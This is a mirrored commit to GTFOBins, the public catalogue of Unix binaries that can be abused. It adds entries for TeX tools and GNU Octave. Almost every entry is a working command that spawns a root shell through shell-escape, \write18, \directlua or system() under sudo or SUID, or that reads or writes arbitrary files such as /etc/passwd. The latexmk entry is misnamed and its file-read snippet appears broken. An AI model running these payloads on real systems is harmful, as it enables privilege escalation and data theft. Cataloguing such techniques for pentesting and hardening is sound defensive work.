mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add TeX binaries and GNU Octave
This commit is contained in:
commit
162f586eb8
16
_gtfobins/dvips.md
Normal file
16
_gtfobins/dvips.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
description: The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target.
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
tex '\special{psfile="`/bin/sh 1>&0"}\end'
|
||||
dvips -R0 texput.dvi
|
||||
sudo:
|
||||
- code: |
|
||||
tex '\special{psfile="`/bin/sh 1>&0"}\end'
|
||||
sudo dvips -R0 texput.dvi
|
||||
limited-suid:
|
||||
- code: |
|
||||
tex '\special{psfile="`/bin/sh 1>&0"}\end'
|
||||
./dvips -R0 texput.dvi
|
||||
---
|
21
_gtfobins/latex.md
Normal file
21
_gtfobins/latex.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
file-read:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
sudo:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
sudo latex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
- code: |
|
||||
sudo latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./latex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
---
|
14
_gtfobins/latexmk.tex
Normal file
14
_gtfobins/latexmk.tex
Normal file
@ -0,0 +1,14 @@
|
||||
description: This allows to execute [`perl`](/gtfobins/perl/) code.
|
||||
functions:
|
||||
shell:
|
||||
- code: latexmk -e 'exec "/bin/sh";'
|
||||
- code: latexmk -latex='/bin/sh #' /dev/null
|
||||
file-read:
|
||||
- code: latexmk -e 'open(X,"/etc/passwd");while(<X>){print $_;}exit'
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
TF=$(mktemp)
|
||||
echo '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}' >$TF
|
||||
strings tmp.dvi
|
||||
sudo:
|
||||
- code: sudo latexmk -e 'exec "/bin/sh";'
|
10
_gtfobins/lualatex.md
Normal file
10
_gtfobins/lualatex.md
Normal file
@ -0,0 +1,10 @@
|
||||
---
|
||||
description: This allows to execute [`lua`](/gtfobins/lua/) code.
|
||||
functions:
|
||||
shell:
|
||||
- code: lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
||||
sudo:
|
||||
- code: sudo lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
||||
limited-suid:
|
||||
- code: ./lualatex -shell-escape '\documentclass{article}\begin{document}\directlua{os.execute("/bin/sh")}\end{document}'
|
||||
---
|
10
_gtfobins/luatex.md
Normal file
10
_gtfobins/luatex.md
Normal file
@ -0,0 +1,10 @@
|
||||
---
|
||||
description: This allows to execute [`lua`](/gtfobins/lua/) code.
|
||||
functions:
|
||||
shell:
|
||||
- code: luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
||||
sudo:
|
||||
- code: sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
||||
limited-suid:
|
||||
- code: ./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
|
||||
---
|
14
_gtfobins/octave.md
Normal file
14
_gtfobins/octave.md
Normal file
@ -0,0 +1,14 @@
|
||||
---
|
||||
description: The payloads are compatible with GUI.
|
||||
functions:
|
||||
shell:
|
||||
- code: octave-cli --eval 'system("/bin/sh")'
|
||||
file-write:
|
||||
- code: octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
|
||||
file-read:
|
||||
- code: octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
|
||||
sudo:
|
||||
- code: sudo octave-cli --eval 'system("/bin/sh")'
|
||||
limited-suid:
|
||||
- code: ./octave-cli --eval 'system("/bin/sh")'
|
||||
---
|
21
_gtfobins/pdflatex.md
Normal file
21
_gtfobins/pdflatex.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
file-read:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
pdftotext article.pdf -
|
||||
sudo:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
sudo pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
pdftotext article.pdf -
|
||||
- code: |
|
||||
sudo pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
---
|
12
_gtfobins/pdftex.md
Normal file
12
_gtfobins/pdftex.md
Normal file
@ -0,0 +1,12 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
pdftex --shell-escape '\write18{/bin/sh}\end'
|
||||
sudo:
|
||||
- code: |
|
||||
sudo pdftex --shell-escape '\write18{/bin/sh}\end'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./pdftex --shell-escape '\write18{/bin/sh}\end'
|
||||
---
|
12
_gtfobins/tex.md
Normal file
12
_gtfobins/tex.md
Normal file
@ -0,0 +1,12 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
tex --shell-escape '\write18{/bin/sh}\end'
|
||||
sudo:
|
||||
- code: |
|
||||
sudo tex --shell-escape '\write18{/bin/sh}\end'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./tex --shell-escape '\write18{/bin/sh}\end'
|
||||
---
|
21
_gtfobins/xelatex.md
Normal file
21
_gtfobins/xelatex.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
file-read:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
sudo:
|
||||
- description: The read file will be part of the output.
|
||||
code: |
|
||||
sudo xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
|
||||
strings article.dvi
|
||||
- code: |
|
||||
sudo xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
|
||||
---
|
12
_gtfobins/xetex.md
Normal file
12
_gtfobins/xetex.md
Normal file
@ -0,0 +1,12 @@
|
||||
---
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
xetex --shell-escape '\write18{/bin/sh}\end'
|
||||
sudo:
|
||||
- code: |
|
||||
sudo xetex --shell-escape '\write18{/bin/sh}\end'
|
||||
limited-suid:
|
||||
- code: |
|
||||
./xetex --shell-escape '\write18{/bin/sh}\end'
|
||||
---
|
Loading…
Reference in New Issue
Block a user